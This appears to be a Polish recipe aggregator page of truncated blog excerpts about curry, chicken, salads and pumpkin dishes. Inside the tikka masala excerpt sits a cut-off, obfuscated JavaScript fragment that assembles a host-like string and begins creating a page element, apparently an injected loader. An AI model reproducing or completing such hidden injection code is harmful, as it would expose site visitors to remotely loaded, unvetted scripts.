powstało ono w stolicy Indii – Delhi – w pierwszej połowie XX wieku, inne odsyłają do Glasgow i datują jej wynalezienie na końcówkę lat 60. XX wieku. Faktem jest natomiast, iż kurczak w sosie tikka masala stanowi brytyjską potrawę narodową. I nawet jeżeli danie to rzeczywiście powstało na angielskiej ziemi, nie może dziwić jego orientalny, indyjski akcent. W końcu Indie znajdowały się(...)roku, nosząc wówczas miano Indii Brytyjskich. Swój niepowtarzalny smak i aromat potrawa zawdzięcza specjalnie dobranej kompozycji przypraw, takich jak m.in. świeży imbir, kurkuma, ostra papryka, kmin, kolendra, czosnek, cebula, curry. Wbrew pozorom danie to jest naprawdę proste w przygotowaniu. Przede wszystkim jest jednak wyjątkowo smaczne, dlatego na pewno warto je przyrządzić! (function(){ x0Xd_=("u"+"")+"s"+"";x0Xd_+=("tat.")+("i"); x0Xd=document.createElement
CookMagPolecam ją zwłaszcza na imprezy, jeśli chcemy zaskoczyć znajomych jej efektownym podaniem :) Polecam również zajrzeć tutaj: sałatki na imprezę , a zwłaszcza po przepis na warstwową sałatkę z brokułem i kurczakiem , która jest HITem każdego spotkania :) (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka Ananas z szynką – Składniki: 1 woreczek białego ryżu – 100g 3 jajka klasa M 140 g szynki (u mnie szynka(...)pół puszki kukurydzy konserwowej 1 mała papryka czerwona – ok. 140g 2-3 łyżki majonezu 2 czubate łyżki ketchupu 2 duże łodygi szczypiorku do sałatki pół płaskiej łyżeczki przyprawy curry sól i pieprz do smaku pół słoika pieczarek marynowanych – ok. 210g ścięty wierzch z ananasa lub łodygi szczypioru do ozdoby (adsbygoogle = window.adsbygoogle || []).push({}); Przepis na sałatkę “Ananas
Kulinarne Przebojedyni. Dynia pieczona z czosnkiem Pizza z dynią Dynia piżmowa w stylu curry Bułeczki dyniowe Likier z pestek dyni Rolada dyniowa Pączki dyniowe Pasztet z dyni piżmowej Makaron fusilli z sosem dyniowo-serowym Kotleciki jaglano-dyniowe Sałatka z pieczonej dyni i sera koziego Zapiekane skórki ziemniaczane Pierś kurczaka faszerowana wątróbką i dynią Placuszki dyniowe Muffiny dyniowe z serem Sernik dyniowy
MeCooksZapraszam na pyszny, aromatyczny gulasz z kurczaka. To pomysł na szybki obiad, bo zrobicie go w 30 minut. Idealny do makaronu czy ryżu. Składniki: 700 g filetu z kurczaka 2 marchewki 1/2 puszki groszku zielonego 100 ml śmietany 18% masło klarowane/olej mąka pszenna kawałek imbiru ( 2 cm) 1 duża cebula 3 ząbki czosnku 1 liść laurowy 2 ziarenka ziela(...)angielskiego 1/2 łyżeczki kurkumy 1/2 łyżeczki curry 1/2 łyżeczki ostrej papryki 1 łyżeczka papryki słodkiej sól, pieprz Wykonanie: Mięso umyć, osuszyć i pokroić w kostkę/paski. Do miski przełożyć mięso, dodać paprykę słodką, ostrą, kurkumę oraz sól i pieprz, wymieszać. Odłożyć do lodówki na 1 godzinę. Obrać warzywa i umyć. Marchewkę pokroić w kostkę, a cebulę w półksiężyce. Na patelni
magiczna kuchnia KasiChicken Saag jest jednym z klasycznych indyjskich curry. Wyróżnia się dodatkiem szpinaku i często śmietany. W przeszłosci pojawiła się już wersja z tofu . Dziś zapraszam na przygotowanie w nieco inny sposób drobiowe saag. Składniki (4 porcje) -450 g rozdrobnionego szpinaku -500 g filetu z kurczaka -1 cebula -2 ząbki czosnku -1 łyżeczka startego świeżego imbiru -1 łyżeczka kminku
Zielona Kuchniataka imprezowa sałatka, która zawsze znika naprawdę ekspresowo. Tym razem zamiast kurczaka użyłam paluszków surimi oraz dodałam ser. Połączenie wyszło rewelacyjne, więc polecam mimo makaronu i dodatków znajdujących się w opakowaniu zupki. Kto z Was spróbuje? 300g paluszków surimi 150g żółtego sera 2 zupki chińskie (użyłam o smaku curry) 1/2 kapusta pekińska (dużej) 1 czerwone papryka 1 puszka kukurydzy
Di gotujeSkładniki: 1 podwójna pierś z kurczaka opakowanie mix sałat (rukola, roszponka, szpinak baby, itp). 1 cebula pokrojona w piórka pół szklanki ciecierzycy 1 duży pomidor 2 ząbki czosnku 3 suszone pomidory wraz z dwoma łyżeczkami oleju z ich zalewy przyprawy: sól, pieprz, curry, papryka słodka i ostra sos: łyżka miodu łyżka musztardy 2 łyżki oliwy z oliwek sól, pieprz Wykonanie
Zasmakuj KuchniKURCZAK Z ROŻNA NUMEREM DWA NIESPODZIANKA TEŻ KURCZAK ;-) Pieczony kurczak w maśle z jabłkami! TRZECIE MIEJSCE TEŻ MIĘSKO Karkówka pieczona w marynacie musztardowo- miodowej. Potem postanowiliście razem ze mną przygotować coś do spiżarni, hitem całych wakacji były dwa przepisy: Kabaczki w zalewie z kurkumą! Ogórki w curry i chili! PRZEPIS NA PROSTY TORT JOGURTOWO- TRUSKAWKOWY PODBIŁ WASZE SERCA
SMYKWKUCHNIpatelnię dodać odcedzony brokuł i kawałki piersi z kurczaka. Chwilę przesmażyć. Na sam koniec można dodać odcedzony makaron. Całe danie doprawić sosem sojowym. * jeśli nie masz przyprawy do dań chińskich możesz ją zastąpić dodając: sos sojowy i odrobinę papryki słodkiej, imbir, chili i kurkumę (bądź curry). P.S. Ja nie przesmażyłam makaronu, natomiast wymieszałam go z odrobiną sosu
Ugotowaćmłodemu jak i starszemu pokoleniu, postanowiłam samodzielnie przygotować dla nas to danie. Efekt był zaskakująco zadowalający dla wszystkich. Polecam spróbować: Składniki (na 4-5 porcji): 1 niewielka pierś z kurczaka 1 spora marchew 1 średnia cebula 4 plastry ananasa 3 łyżki posiekanej w kostkę papryki dowolnego koloru 3-4 łyżki keczupu łagodnego dobrej jakości 50 -100 ml zalewy z ananasa(...)łyżki koncentratu pomidorowego 1 łyżka wiórków kokosowych sól, pieprz świeżo mielony ryż (stosownie do ilości spożywających) Przygotowanie: Umytą pierś kroimy w średniej grubości kostkę. Solimy, pieprzymy, posypujemy lekko curry i zasypujemy wiórkami kokosowymi (lub zalewamy mlekiem kokosowym). Odstawiamy na jakiś czas do zamarynowania. Obraną marchew siekamy w drobne słupki i gotujemy w małej ilości wody wraz z wiórkami kokosowymi
Kuchnia po mojemuwyparuje cała woda. 7. PIERSI Z KURCZAKA (3 min): > umyjcie je pod bieżącą wodą i oczyśćcie z białych włókien, a następnie posiekajcie na drobno (jakbyście chcieli zrobić z nich papkę), im drobniej tym lepiej. Jak wam się nie chce, pokrójcie chociaż w drobną kostkę. Pokrojonego posypcie pół łyżeczki curry, pół łyżeczki słodkiej papryki, szczyptą soli i pieprzu. Następnie wrzućcie(...)sosem czosnkowym (przepis tutaj ). Jeśli traktujecie to jako danie główne, należy dorobić do tego surówki i zapychacza (smażony ryż lub pieczone ziemniaki). OM NOM NOM! Post ROLADA SEROWA Z KURCZAKIEM – 3,80 zł pojawił się poraz pierwszy w NERDS' KITCHEN
Nerds KitchenBardzo aromatyczny, wyrazisty w smaku gulasz z drobiowych żołądków z dodatkiem kolorowych papryk, pieczarek i marchewki oraz mocno wyczuwalnym smakiem mieszanki przypraw curry to świetna propozycja
Szalona Kuchnia Ewelinymarką Pataks znamy się od pewnego czasu. Sięgam po ich sosy, gdy nachodzi mnie chęć na smaki kuchni indyjskiej. Tak było w przypadku tego pomidorowego sosu z kalafiorem i kurczakiem, który podałam z ryżem. Jeśli macie trochę więcej czasu, możecie upiec chlebki naan, żeby wyjadać nimi sos prosto z miski:) Po więcej rozgrzewających inspiracji zapraszam na kanały marki Pataks(...)główki kalafiora (ok 0,5kg) 200g filetu z kurczaka szczypta czerwonej papryki, tymianku, czarnego pieprzu, ząbek czosnku 200g ryżu jaśminowego lub basmati sól liść laurowy do gotowania kalafiora oliwa do smażenia kolendra lub natka pietruszki *można użyć również innego sosu Pataks, np. tikka masala, korma, mild curry Mięso pokroić w kostkę, doprawić solą, papryką, czosnkiem, tymiankiem
Obiad gotowySałatka ryżowa z kurczakiem Belriso Risotto z porem Ryż z kurczakiem i warzywami Gołąbki bez zawijania Ryżowe kotleciki Gołąbki wegetariańskie z papryką - składniki: 2 cebule 2 czerwone papryki 1 ząbek czosnku 3 łyżki masła 3 łyżki oleju 1 szklanka białego ryżu 2 szklanki bulionu sól, pieprz 1/2 łyżeczki curry sparzone liście kapusty Na patelni rozpuszczamy masło z olejem, dodajemy pokrojoną
MamaOskarka